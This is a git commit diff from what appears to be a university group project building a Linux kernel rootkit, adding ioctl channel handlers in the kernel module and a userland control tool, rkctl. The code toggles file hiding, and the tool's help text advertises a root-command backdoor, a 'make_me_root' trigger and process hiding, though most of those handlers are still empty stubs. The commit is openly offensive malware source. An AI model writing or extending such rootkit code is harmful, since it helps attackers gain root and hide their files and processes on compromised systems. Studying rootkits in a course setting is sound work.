commit 5db40f80b15f67ccbef6375f6f953268c8f513f2
parent 1e8e3546e3fa24f847f2cccd02d7d0884c6fd170
Author: deurzen <m.deurzen@tum.de>
Date: Thu, 26 Nov 2020 19:11:21 +0100
adds initial control program code
Diffstat:
9 files changed, 234 insertions(+), 80 deletions(-)
diff --git a/.gitignore b/.gitignore
@@ -12,3 +12,4 @@
/modules.order
/src/.*.o.cmd
/src/*.o
+/rkctl
diff --git a/Makefile b/Makefile
@@ -22,6 +22,9 @@ release: clean build
build:
@make -C $(KERNELDIR) M=$(PWD) modules
+client:
+ @cc -O2 -std=gnu99 -o ./rkctl ./src/rkctl/rkctl.c
+
clean:
@make -C $(KERNELDIR) M=$(PWD) clean
diff --git a/src/channel.c b/src/channel.c
@@ -0,0 +1,64 @@
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/uaccess.h>
+#include <linux/ioctl.h>
+
+#include "channel.h"
+#include "common.h"
+#include "filehide.h"
+#include "ioctl.h"
+#include "rootkit.h"
+
+#define BUFLEN 4096
+
+static char buf[BUFLEN];
+
+extern rootkit_t rootkit;
+
+void
+report_channels(void)
+{
+ DEBUG_NOTICE("-----------------------------------\n");
+ DEBUG_NOTICE("listening on the following channels\n");
+ DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING);
+ DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
+ DEBUG_NOTICE("-----------------------------------\n");
+}
+
+channel_t
+detect_channel(unsigned cmd)
+{
+ switch (cmd) {
+ case G7_PING: return (channel_t){ "PING", handle_ping };
+ case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide };
+ }
+
+ return (channel_t){ "unknown", NULL };
+}
+
+int
+handle_ping(unsigned long arg)
+{
+ copy_from_user(buf, (const char *)arg, BUFLEN);
+ if (!strcmp("PING", buf)) {
+ buf[1] = 'O';
+ copy_to_user((char *)arg, buf, BUFLEN);
+ }
+
+ return 0;
+}
+
+int
+handle_filehide(unsigned long arg)
+{
+ bool set;
+
+ if ((set = rootkit.hiding_files ^= 1))
+ hide_files();
+ else
+ unhide_files();
+
+ DEBUG_NOTICE("filehide toggled %s", set ? "on" : "off");
+
+ return 0;
+}
diff --git a/src/channel.h b/src/channel.h
@@ -0,0 +1,16 @@
+#ifndef _GROUP7_CHANNEL_H
+#define _GROUP7_CHANNEL_H
+
+typedef struct {
+ const char *name;
+ int (*handler)(unsigned long);
+} channel_t;
+
+void report_channels(void);
+channel_t detect_channel(unsigned);
+
+// handlers
+int handle_ping(unsigned long);
+int handle_filehide(unsigned long);
+
+#endif//_GROUP7_CHANNEL_H
diff --git a/src/g7.c b/src/g7.c
@@ -7,10 +7,11 @@
#include <linux/uaccess.h>
#include <linux/printk.h>
-#include "common.h"
-#include "rootkit.h"
#include "ioctl.h"
+#include "channel.h"
+#include "common.h"
#include "hook.h"
+#include "rootkit.h"
#define BUFLEN 4096
diff --git a/src/ioctl.c b/src/ioctl.c
@@ -1,62 +0,0 @@
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/uaccess.h>
-
-#include "common.h"
-#include "rootkit.h"
-#include "ioctl.h"
-#include "filehide.h"
-
-#define BUFLEN 4096
-
-static char buf[BUFLEN];
-
-extern rootkit_t rootkit;
-
-void
-report_channels(void)
-{
- DEBUG_NOTICE("-----------------------------------\n");
- DEBUG_NOTICE("listening on the following channels\n");
- DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING);
- DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
- DEBUG_NOTICE("-----------------------------------\n");
-}
-
-channel_t
-detect_channel(unsigned cmd)
-{
- switch (cmd) {
- case G7_PING: return (channel_t){ "PING", handle_ping };
- case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide };
- }
-
- return (channel_t){ "unknown", NULL };
-}
-
-int
-handle_ping(unsigned long arg)
-{
- copy_from_user(buf, (const char *)arg, BUFLEN);
- if (!strcmp("PING", buf)) {
- buf[1] = 'O';
- copy_to_user((char *)arg, buf, BUFLEN);
- }
-
- return 0;
-}
-
-int
-handle_filehide(unsigned long arg)
-{
- bool set;
-
- if ((set = rootkit.hiding_files ^= 1))
- hide_files();
- else
- unhide_files();
-
- DEBUG_NOTICE("filehide toggled %s", set ? "on" : "off");
-
- return 0;
-}
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -1,26 +1,10 @@
#ifndef _GROUP7_IOCTL_H
#define _GROUP7_IOCTL_H
-#include <linux/ioctl.h>
-
#define G7_MAGIC_NUMBER '@'
#define G7_DEVICE "g7rkp"
#define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *)
-
#define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *)
-typedef struct {
- const char *name;
- int (*handler)(unsigned long);
-} channel_t;
-
-void report_channels(void);
-channel_t detect_channel(unsigned);
-
-// handlers
-int handle_ping(unsigned long);
-int handle_filehide(unsigned long);
-
-
#endif//_GROUP7_IOCTL_H
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -0,0 +1,118 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <fcntl.h>
+#include <libgen.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+
+#include "../ioctl.h"
+#include "rkctl.h"
+
+#define BUFLEN 4096
+
+static char progname[BUFLEN];
+
+int
+main(int argc, char **argv)
+{
+ strcpy(progname, argc ? basename(argv[0]) : "");
+ cmd_t cmd = parse_input(argc, argv);
+ return cmd.f(cmd.arg);
+}
+
+cmd_t
+parse_input(int argc, char **argv)
+{
+ if (argc <= 1 || ARGVCMP(1, "help")) {
+ help();
+ exit(0);
+ }
+
+ if (ARGVCMP(1, "ping")) {
+ return (cmd_t){ handle_ping, NULL };
+ // TODO: return ping handle
+ }
+
+ if (ARGVCMP(1, "filehide")) {
+ ASSERT_ARGC(2, "filehide <toggle | on | off>");
+ // TODO: return filehide handle
+ }
+
+ if (ARGVCMP(1, "backdoor")) {
+ ASSERT_ARGC(2, "backdoor <execve_command>");
+ // TODO: return backdoor handle
+ }
+
+ if (ARGVCMP(1, "backdoor-use-tty")) {
+ ASSERT_ARGC(2, "backdoor-use-tty <0 | 1>");
+ // TODO: return backdoor-use-tty handle
+ }
+
+ if (ARGVCMP(1, "hidepid")) {
+ ASSERT_ARGC(3, "hidepid <add | remove> <PID>");
+ // TODO: return hidepid handle
+ }
+
+ help();
+ exit(1);
+}
+
+int
+handle_ping(void *arg)
+{
+ return issue_ioctl(G7_PING, "PING");
+}
+
+int
+handle_filehide(void *arg)
+{
+}
+
+int
+handle_backdoor_execve(void *arg)
+{
+}
+
+int
+handle_backdoor_toggle(void *arg)
+{
+}
+
+int
+handle_hidepid(void *arg)
+{
+}
+
+int
+issue_ioctl(unsigned long request, char *argp)
+{
+ int fd;
+ char device[BUFLEN];
+ sprintf(device, "/proc/%s", G7_DEVICE);
+
+ if ((fd = open(device, O_RDWR)) < 0) {
+ fprintf(stderr, "%s: unable to open %s, is the rootkit running?\n", progname, device);
+ exit(1);
+ }
+
+ int ret = ioctl(fd, request, argp);
+ close(fd);
+
+ return ret;
+}
+
+void
+help()
+{
+ printf("usage: %s <command>\n\n", progname);
+ printf("These are the available commands:\n");
+ printf("%-32s %s\n", "help", "this message");
+ printf("%-32s %s\n", "ping", "send an echo request to the rootkit");
+ printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files");
+ printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root");
+ printf("%-32s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or tty (1)");
+ printf("%-32s %s\n", "hidepid <add | remove> <PID>", "{,un}hide a process");
+}
diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h
@@ -0,0 +1,29 @@
+#ifndef _GROUP7_RKCTL_H
+#define _GROUP7_RKCTL_H
+
+#define ARGVCMP(i, x) (!strncmp(argv[i], (x), strlen(x)))
+#define ASSERT_ARGC(x, msg) \
+ do { \
+ if (argc <= x) { \
+ fprintf(stderr, "%s: %s\n", progname, msg); \
+ exit(1); \
+ } \
+ } while (0)
+
+
+typedef struct {
+ int (*f)(void *);
+ void * arg;
+} cmd_t;
+
+cmd_t parse_input(int, char **);
+int issue_ioctl(unsigned long, char *);
+void help();
+
+int handle_ping(void *);
+int handle_filehide(void *);
+int handle_backdoor_execve(void *);
+int handle_backdoor_toggle(void *);
+int handle_hidepid(void *);
+
+#endif//_GROUP7_RKCTL_H